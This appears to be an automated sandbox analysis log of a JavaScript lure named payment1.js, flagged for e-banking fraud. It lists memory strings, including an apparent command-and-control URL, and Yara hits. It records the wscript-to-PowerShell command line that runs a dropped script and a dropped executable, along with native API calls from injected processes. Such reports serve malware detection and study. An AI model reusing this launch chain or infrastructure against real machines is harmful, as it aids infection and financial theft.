Source: powershell.exe, 00000001.00000002.1852164332.0000026D0C65C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1889475018.0000026D1AF6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://nuget.org/NuGet.exe
Source: powershell.exe, 00000001.00000002.1852164332.0000026D0C4E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://pesterbdd.com/images/Pester.png
Source: powershell.exe, 00000001.00000002.1852164332.0000026D0AEF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: powershell.exe, 00000001.00000002.1852164332.0000026D0C0FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0
Source: powershell.exe, 00000001.00000002.1852164332.0000026D0C4E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.apache.org/licenses/LICENSE-2.0.html
Source: sxkv2RIDKUVCF4X010eCnC.exe, 0000000B.00000002.2992102247.00000000051A8000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.dqvcbn.info
Source: sxkv2RIDKUVCF4X010eCnC.exe, 0000000B.00000002.2992102247.00000000051A8000.00000040.80000000.00040000.00000000.sdmp	String found in binary or memory: http://www.dqvcbn.info/xqy6/
Source: MRINFO.EXE, 0000000A.00000002.2993155660.00000000082C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: powershell.exe, 00000001.00000002.1852164332.0000026D0AEF1000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://aka.ms/pscore68
Source: MRINFO.EXE, 0000000A.00000002.2993155660.00000000082C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: MRINFO.EXE, 0000000A.00000002.2993155660.00000000082C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: MRINFO.EXE, 0000000A.00000002.2993155660.00000000082C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: powershell.exe, 00000001.00000002.1889475018.0000026D1AF6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/
Source: powershell.exe, 00000001.00000002.1889475018.0000026D1AF6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/Icon
Source: powershell.exe, 00000001.00000002.1889475018.0000026D1AF6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://contoso.com/License
Source: MRINFO.EXE, 0000000A.00000002.2993155660.00000000082C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: MRINFO.EXE, 0000000A.00000002.2993155660.00000000082C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: MRINFO.EXE, 0000000A.00000002.2993155660.00000000082C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: powershell.exe, 00000001.00000002.1852164332.0000026D0C4E3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://github.com/Pester/Pester
Source: wscript.exe, 00000000.00000002.1935377292.00000174E9C4A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com
Source: MRINFO.EXE, 0000000A.00000002.2988076296.00000000032FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: MRINFO.EXE, 0000000A.00000002.2988076296.00000000032FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: MRINFO.EXE, 0000000A.00000002.2988076296.00000000032FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: MRINFO.EXE, 0000000A.00000002.2988076296.00000000032FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033
Source: MRINFO.EXE, 0000000A.00000002.2988076296.00000000032FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: MRINFO.EXE, 0000000A.00000002.2988076296.00000000032FE000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: MRINFO.EXE, 0000000A.00000003.2302750338.00000000082A5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://login.live.com/oauth20_logout.srfhttps://login.live.com/oauth20_authorize.srfhttps://login.l
Source: powershell.exe, 00000001.00000002.1852164332.0000026D0C65C000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000001.00000002.1889475018.0000026D1AF6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://nuget.org/nuget.exe
Source: powershell.exe, 00000001.00000002.1852164332.0000026D0C0FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.org
Source: powershell.exe, 00000001.00000002.1852164332.0000026D0C0FB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://oneget.orgX
Source: MRINFO.EXE, 0000000A.00000002.2993155660.00000000082C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: MRINFO.EXE, 0000000A.00000002.2990861843.00000000042F6000.00000004.10000000.00040000.00000000.sdmp, MRINFO.EXE, 0000000A.00000002.2992872250.00000000067C0000.00000004.00000800.00020000.00000000.sdmp, sxkv2RIDKUVCF4X010eCnC.exe, 0000000B.00000002.2990429324.0000000003296000.00000004.00000001.00040000.00000000.sdmp	String found in binary or memory: https://www.google.com

E-Banking Fraud

Malicious sample detected (through community Yara rule)

Source: Yara match	File source: 5.2.RegAsm.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000002.2989939402.0000000003060000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000B.00000002.2992102247.0000000005150000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2104088509.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2989897397.0000000003500000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2106523345.0000000002A10000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2989992903.0000000003550000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000002.2987628096.0000000003050000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2110867358.0000000003840000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Source: Process Memory Space: powershell.exe PID: 5352, type: MEMORYSTR

Matched rule: Detects PowerShell scripts containing patterns of base64 encoded files, concatenation and execution Author: ditekSHen

Powershell drops PE file

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\x.exe

Jump to dropped file

Sample has a suspicious name (potential lure to open the executable)

Source: payment1.js

Static file information: Suspicious name

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe	COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}			Jump to behavior
Source: C:\Windows\System32\wscript.exe	COM Object queried: XML HTTP HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{F6D90F16-9C73-11D3-B32E-00C04F990BB4}			Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy RemoteSigned -File "C:\Temp\dddddd.ps1"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy RemoteSigned -File "C:\Temp\dddddd.ps1"			Jump to behavior

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0042CD13 NtClose,	5_2_0042CD13
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B635C0 NtCreateMutant,LdrInitializeThunk,	5_2_02B635C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B62B60 NtClose,LdrInitializeThunk,	5_2_02B62B60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B62C70 NtFreeVirtualMemory,LdrInitializeThunk,	5_2_02B62C70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B62DF0 NtQuerySystemInformation,LdrInitializeThunk,	5_2_02B62DF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B64340 NtSetContextThread,	5_2_02B64340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B63090 NtSetValueKey,	5_2_02B63090
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B63010 NtOpenDirectoryObject,	5_2_02B63010
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B64650 NtSuspendThread,	5_2_02B64650
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B62AB0 NtWaitForSingleObject,	5_2_02B62AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B62AF0 NtWriteFile,	5_2_02B62AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B62AD0 NtReadFile,	5_2_02B62AD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B62BA0 NtEnumerateValueKey,	5_2_02B62BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B62B80 NtQueryInformationFile,	5_2_02B62B80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B62BF0 NtAllocateVirtualMemory,	5_2_02B62BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B62BE0 NtQueryValueKey,	5_2_02B62BE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B639B0 NtGetContextThread,	5_2_02B639B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B62EA0 NtAdjustPrivilegesToken,	5_2_02B62EA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B62E80 NtReadVirtualMemory,	5_2_02B62E80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B62EE0 NtQueueApcThread,	5_2_02B62EE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B62E30 NtWriteVirtualMemory,	5_2_02B62E30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B62FB0 NtResumeThread,	5_2_02B62FB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B62FA0 NtQuerySection,	5_2_02B62FA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B62F90 NtProtectVirtualMemory,	5_2_02B62F90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B62FE0 NtCreateFile,	5_2_02B62FE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B62F30 NtCreateSection,	5_2_02B62F30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B62F60 NtCreateProcessEx,	5_2_02B62F60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B62CA0 NtQueryInformationToken,	5_2_02B62CA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B62CF0 NtOpenProcess,	5_2_02B62CF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B62CC0 NtQueryVirtualMemory,	5_2_02B62CC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B62C00 NtQueryInformationProcess,	5_2_02B62C00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B62C60 NtCreateKey,	5_2_02B62C60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B62DB0 NtEnumerateKey,	5_2_02B62DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B62DD0 NtDelayExecution,	5_2_02B62DD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B62D30 NtUnmapViewOfSection,	5_2_02B62D30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B62D10 NtMapViewOfSection,	5_2_02B62D10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B63D10 NtOpenProcessToken,	5_2_02B63D10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B62D00 NtSetInformationFile,	5_2_02B62D00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B63D70 NtOpenThread,	5_2_02B63D70
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037C4340 NtSetContextThread,LdrInitializeThunk,	10_2_037C4340
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037C4650 NtSuspendThread,LdrInitializeThunk,	10_2_037C4650
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037C35C0 NtCreateMutant,LdrInitializeThunk,	10_2_037C35C0
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037C2B60 NtClose,LdrInitializeThunk,	10_2_037C2B60
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037C2BF0 NtAllocateVirtualMemory,LdrInitializeThunk,	10_2_037C2BF0
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037C2BE0 NtQueryValueKey,LdrInitializeThunk,	10_2_037C2BE0
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037C2BA0 NtEnumerateValueKey,LdrInitializeThunk,	10_2_037C2BA0
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037C2AF0 NtWriteFile,LdrInitializeThunk,	10_2_037C2AF0
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037C2AD0 NtReadFile,LdrInitializeThunk,	10_2_037C2AD0
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037C39B0 NtGetContextThread,LdrInitializeThunk,	10_2_037C39B0
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037C2F30 NtCreateSection,LdrInitializeThunk,	10_2_037C2F30
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037C2FE0 NtCreateFile,LdrInitializeThunk,	10_2_037C2FE0
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037C2FB0 NtResumeThread,LdrInitializeThunk,	10_2_037C2FB0
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037C2EE0 NtQueueApcThread,LdrInitializeThunk,	10_2_037C2EE0
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037C2E80 NtReadVirtualMemory,LdrInitializeThunk,	10_2_037C2E80
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037C2D30 NtUnmapViewOfSection,LdrInitializeThunk,	10_2_037C2D30
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037C2D10 NtMapViewOfSection,LdrInitializeThunk,	10_2_037C2D10
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037C2DF0 NtQuerySystemInformation,LdrInitializeThunk,	10_2_037C2DF0
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037C2DD0 NtDelayExecution,LdrInitializeThunk,	10_2_037C2DD0
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037C2C70 NtFreeVirtualMemory,LdrInitializeThunk,	10_2_037C2C70
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037C2C60 NtCreateKey,LdrInitializeThunk,	10_2_037C2C60
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037C2CA0 NtQueryInformationToken,LdrInitializeThunk,	10_2_037C2CA0
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037C3010 NtOpenDirectoryObject,	10_2_037C3010
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037C3090 NtSetValueKey,	10_2_037C3090
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037C2B80 NtQueryInformationFile,	10_2_037C2B80
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037C2AB0 NtWaitForSingleObject,	10_2_037C2AB0
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037C2F60 NtCreateProcessEx,	10_2_037C2F60
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037C2FA0 NtQuerySection,	10_2_037C2FA0
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037C2F90 NtProtectVirtualMemory,	10_2_037C2F90
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037C2E30 NtWriteVirtualMemory,	10_2_037C2E30
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037C2EA0 NtAdjustPrivilegesToken,	10_2_037C2EA0
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037C3D70 NtOpenThread,	10_2_037C3D70
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037C3D10 NtOpenProcessToken,	10_2_037C3D10
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037C2D00 NtSetInformationFile,	10_2_037C2D00
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037C2DB0 NtEnumerateKey,	10_2_037C2DB0
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037C2C00 NtQueryInformationProcess,	10_2_037C2C00
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037C2CF0 NtOpenProcess,	10_2_037C2CF0
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_037C2CC0 NtQueryVirtualMemory,	10_2_037C2CC0
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_03079790 NtReadFile,	10_2_03079790
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_03079620 NtCreateFile,	10_2_03079620
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_03079A80 NtAllocateVirtualMemory,	10_2_03079A80
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_03079920 NtClose,	10_2_03079920
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_03079880 NtDeleteFile,	10_2_03079880
Source: C:\Windows\SysWOW64\MRINFO.EXE	Code function: 10_2_0365FA6A NtUnmapViewOfSection,NtClose,	10_2_0365FA6A

Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_02152900	3_2_02152900
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_02150A7F	3_2_02150A7F
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_02150A90	3_2_02150A90
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_021520F1	3_2_021520F1
Source: C:\Users\user\AppData\Local\Temp\x.exe	Code function: 3_2_02152100	3_2_02152100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00418C53	5_2_00418C53
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00401000	5_2_00401000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0040E817	5_2_0040E817
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0040E823	5_2_0040E823
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00403170	5_2_00403170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00402930	5_2_00402930
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0042F2E3	5_2_0042F2E3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_004104A3	5_2_004104A3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00416E4E	5_2_00416E4E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_00416E53	5_2_00416E53
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_004106C3	5_2_004106C3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_0040E6D3	5_2_0040E6D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_004046FB	5_2_004046FB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B352A0	5_2_02B352A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B4D2F0	5_2_02B4D2F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BD12ED	5_2_02BD12ED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B4B2C0	5_2_02B4B2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BD0274	5_2_02BD0274
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B7739A	5_2_02B7739A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B3E3F0	5_2_02B3E3F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BF03E6	5_2_02BF03E6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BE132D	5_2_02BE132D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BEA352	5_2_02BEA352
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1D34C	5_2_02B1D34C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BE70E9	5_2_02BE70E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BEF0E0	5_2_02BEF0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BDF0CC	5_2_02BDF0CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B370C0	5_2_02B370C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B3B1B0	5_2_02B3B1B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BF01AA	5_2_02BF01AA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BE81CC	5_2_02BE81CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BCA118	5_2_02BCA118
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B20100	5_2_02B20100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B1F172	5_2_02B1F172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BFB16B	5_2_02BFB16B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B6516C	5_2_02B6516C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BB8158	5_2_02BB8158
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B4C6E0	5_2_02B4C6E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BE16CC	5_2_02BE16CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BEF7B0	5_2_02BEF7B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B2C7C0	5_2_02B2C7C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B30770	5_2_02B30770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B54750	5_2_02B54750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BDE4F6	5_2_02BDE4F6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BEF43F	5_2_02BEF43F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B21460	5_2_02B21460
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BE2446	5_2_02BE2446
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BCD5B0	5_2_02BCD5B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BF0591	5_2_02BF0591
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B30535	5_2_02B30535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BE7571	5_2_02BE7571
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BCDAAC	5_2_02BCDAAC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B75AA0	5_2_02B75AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B2EA80	5_2_02B2EA80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BDDAC6	5_2_02BDDAC6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BA3A6C	5_2_02BA3A6C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BEFA49	5_2_02BEFA49
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BE7A46	5_2_02BE7A46
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B4FB80	5_2_02B4FB80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BA5BF0	5_2_02BA5BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02B6DBF9	5_2_02B6DBF9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BE6BD7	5_2_02BE6BD7
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 5_2_02BEFB76	5_2_02BEFB76
